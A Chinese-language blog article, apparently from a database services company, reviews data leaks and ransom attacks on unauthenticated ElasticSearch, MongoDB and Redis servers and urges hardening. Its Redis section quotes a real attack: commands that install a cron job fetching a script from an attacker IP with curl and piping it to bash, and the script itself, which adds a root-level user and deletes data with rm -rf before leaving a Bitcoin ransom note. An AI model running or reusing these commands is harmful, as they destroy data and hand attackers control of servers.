歡迎光臨
每天分享高質量文章

有多少漏洞都會重來:從ElasticSearch到MongoDB和Redis

編者說明在新年即將來臨,長假漸近的日子里,一定不要忘了資料庫也需要關照,我們曾經總結過:資料庫的假期綜合症,本文整理了一些資料庫安全方面的案例,在新年前為大家再提一次醒。

在技術領域,周而複始發生的資料安全事件,往往都似曾相識。有多少漏洞,全都會在不同的產品身上重演一次,一個都不能少,似乎所有經驗都不曾被借鑒。

就拿初始化部署,初始化的口令和認證方式,往往都因為簡便而保留預設方式,當服務器對公網開放時,這些系統就變成了完全不設防的主體,對著危險的黑暗森林發出『我在這裡』的呼喊。

後果就是,資料風行天下。我摘錄幾則案例,與大家分享,並且作為警示。當我們啟用一個資料庫時,務必銘記,不要保留任何預設設置。這是最基本的安全保證。

ElasticSearch 資料泄露案例

Elasticsearch 在全球資料庫流行度排行榜上位列第 8 位,是一個被廣泛使用的全文搜索引擎,企業一般用它來實現資料索引和搜索功能,但是由於部署或者企業運維上的重視缺乏,而導致的安全事故不絕於耳。

據2019年1月22日信息,美國一家網上賭場集團泄露了超過 1.08 億筆投註信息。

泄露的信息包括:客戶個人資料,存取款記錄、家庭住址、電話號碼、電子郵件地址、出生日期、網站用戶名、帳戶餘額、IP 地址、瀏覽器、操作系統信息、上次登錄信息和游戲串列,甚至包含當前投註、獲勝、用於交易的銀行卡等詳細信息

值得慶幸的是,ElasticSearch 服務器中交易銀行卡詳細信息被部分加密,沒有公開完整財務細節;壞訊息是任何發現資料庫的人都會知道最近贏得大筆金錢的玩家姓名、家庭住址和電話號碼,並且可能已將這些作為詐騙或勒索的標的用戶。

該服務器被安全研究員 Justin Paine 發現,資料泄露源頭是一個 ElasticSearch 服務器,該服務器沒有密碼保護,不需要身份驗證且很明顯信息來源於在線投註門戶網站。

而此前類似的安全事件,同樣言猶在耳:

2018 年 12 月份,巴西最大的訂閱電視服務商之一的 Sky Brasil 在沒有密碼的情況下將 ElasticSearch 服務器暴露在互聯網上,其 3200 萬客戶資料在網上暴露了很長時間,儲存資料包括客戶姓名、電子郵件地址、密碼、付費電視包資料、客戶端 IP 地址、個人地址、付款方式、設備型號等。

2018 年 11 月份,美國發生一起 ElasticSearch 服務器在沒有密碼的開放狀態下泄露了將近 5700 萬美國民眾個人信息的事件。共泄漏超過 73GB 資料,並且幾個資料庫被快取在服務器記憶體中,其中一個資料庫包含的個人信息就達到了 56,934,021 份。

2017 年,白帽匯曾對全球使用 ElasticSearch 引擎發生的勒索事件進行監測,最終發現因被攻擊而刪除的資料至少 500 億條,被刪除資料規模至少 450TB。互聯網上公開可訪問的 ElasticSearch 服務器超過 68000 餘台,受害總數達 9750 台。此次事件後,1% 的 Elasticsearch 啟用了驗證插件,另外有 2% 則關閉了 Elasticsearch。

註意到這些問題的共同原因,ElasticSearch Server 沒有密碼,這些事件應該成為大家的警示。不管處於內部還是外部,只要是資料所在,即為堡壘,就應該進行重點的安全加固和防範,防止資料泄露損毀。資料安全重於泰山。我們也不能因為資料能夠重構和可以恢復就放鬆警惕,因為資料泄露對企業和用戶帶來的傷害往往無法量度

MongoDB資料泄露案例

 

MongoDB資料庫同樣存在類似的問題。在2019年年初,Twitter 上暴露出一則資料泄露事件:超 2 億中國用戶簡歷曝光

近日,外網安全研究人員偶然發現一個沒有被很好保護的 MongoDB 資料庫服務器,整個實體包含 854GB 資料,共有 202,730,434 條記錄,其中大部分是中國用戶簡歷,內容非常詳細,包括中文全名、家庭住址、電話號碼、電子郵件、婚煙狀況、政治關係、期望薪水等內容。

 

該信息對整個互聯網開放,因此追蹤信息來源幾乎是不可能的,但經過 Twitter 上一位用戶的努力,已確定大致來源為一個已經刪除的 GitHub 儲存庫,該儲存庫包含 Web 應用程式的原始碼,此應用程式具有與泄露資料庫中資料結構完全相同的資料,這清楚表明該程式應該是一個收集用戶簡歷的第三方應用。

 

據此用戶查證,該已刪除應用的簡歷主要來源之一是 bj.58.com ,當 Diachenko 與 bj.58.com 工作人員聯繫時,他們也給出了初步評估,確定資料來自第三方應用泄露,並非官方泄露。

而這並不是MongoDB的第一次,在2016年和2017年,針對MongoDB的大規模攻擊曾經就席卷而來:

2016年12月27日,安全專家兼GDI Foundation聯合創始人Victor Gevers 在Twitter上稱由於存在配置漏洞,可不通過任何認證直接訪問某些MongoDB資料庫,而黑客早已盯上了這些標的。

到 2017年1月3日,被黑客入侵的MongoDB資料庫實體這個數字達到了2,000以上。而僅在1月9日早間開始的12小時內,受到黑客勒索的資料庫就從12,000個翻倍達到了27,633之多。

儘管安全專家已經告誡眾多MongoDB資料庫用戶不要向黑客支付贖金(很多黑客並不會如宣稱的那樣保留了資料,多數情況是直接刪掉了),但已知仍有至少22個受害機構或個人繳納了贖金。

而早在2015年 Shodan(搜索引擎)的負責人統計到有30,000個以上的MongoDB資料庫實體,近600TB的資料暴露於公網之上,無需任何認證就可訪問。很多版本滯後的資料庫配置檔案里沒有做IP捆綁(bind_ip 127.0.0.1),在用戶不甚瞭解的時候留下了安全隱患。雖然MongoDB的開發團隊在下一個版本里修複了這個問題,但仍然有數量眾多的資料庫管理者沒來得及更新。

MongoDB 的安全事故原因和前面的 ElasticSearch 非常相似,主要原因就是因為用戶沒有遵照規範化安全部署,缺少安全認證,並且直接將服務器暴露在公網裡。

Redis的資料泄露

在2017年和2018年,關於Redis的安全問題同樣大規模暴露出來。其安全原因和前面描述的如出一轍。

Redis 預設情況下,會系結在 0.0.0.0:6379,這樣會將 Redis 服務暴露到公網上,在Redis服務器沒有開啟認證的情況下,可以導致任意用戶在可以訪問標的服務器的情況下成功在Redis 服務器上寫入公鑰,進而可以使用對應私鑰直接登錄標的服務器進行遠程控制,獲得主機的完全控制權。

以下引自阿裡雲的攻擊過程說明:

  • 首先攻擊者通過事先的掃描踩點,發現了這些公網可訪問並且未設置密碼的機器
  • 攻擊者嘗試連接這些機器,並且運行如下代碼:

config set dir /var/spool/cron/

config set dbfilename root

config 1 */10 * * * * curl -shttp://103.224.80.52/butterfly.sh | bash


save

通過上述指令,將下載腳本: http://103.224.80.52/butterfly.sh
並將該腳本寫入到計劃任務中,由計劃任務啟動執行。

該腳本內容:

#!/bin/bash

#*butterfly*

exportPATH=$PATH:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin

userdel -r redis

useradd -o -u 0 -g 0 redis &>/dev/nullecho “abcd-1234-!” |passwd–stdin redis &>/dev/null

rm -rf /root/*

rm -rf /home/*

rm -rf /opt/*

rm -rf /data/*

rm -rf /data*

mkdir -p /dataecho -e “\nWarning! \nYour File andDataBase is downloaded and backed up on our secured servers. To recover yourlost data : Send 0.6 BTC to our BitCoin Address and Contact us by eMail withyour server IP Address and a Proof of Payment. Any eMail without your server IPAddress and a Proof of Payment together will be ignored. We will drop thebackup after 24 hours. You are welcome! \nMail:[email protected]\nBitCoin:3JPaDCoRnQatEEDoY59KtgF38GZiL5Kiny\n” > /root/Warning.txt

chmod +x /root/Warning.txt

cp /root/Warning.txt /Warning.txt

cp /root/Warning.txt /data/Warning.txtecho -e “\nWarning! \nYour File andDataBase is downloaded and backed up on our secured servers. To recover yourlost data : Send 0.6 BTC to our BitCoin Address and Contact us by eMail withyour server IP Address and a Proof of Payment. Any eMail without your server IPAddress and a Proof of Payment together will be ignored. We will drop thebackup after 24 hours. You are

攻擊者要求發送0.6個比特幣,否則將在24小時之內刪除資料備份。但是從這個腳本中可以明顯看出,攻擊者根本沒有進行備份,即使被攻擊者給了錢,也是要不回資料的

綜合以上的幾個安全事故告訴我們:

  1. 資料安全重於一切,安全防護必不可少;
  2. 安全需要點滴做起,如從密碼防護開始;
  3. 備份是資料庫管理的首要任務有備無患;
  4. 在初始建設時就著手進行安全加固防範;

當然,如果您的企業缺少相應的資料人才,可以申請『雲服務』遠程協助支持,雲和恩墨『墨天輪』雲服務平臺,致力於讓所有用戶都能夠使用到專業的資料庫服務:

http://cs.enmotech.com 

赞(0)

分享創造快樂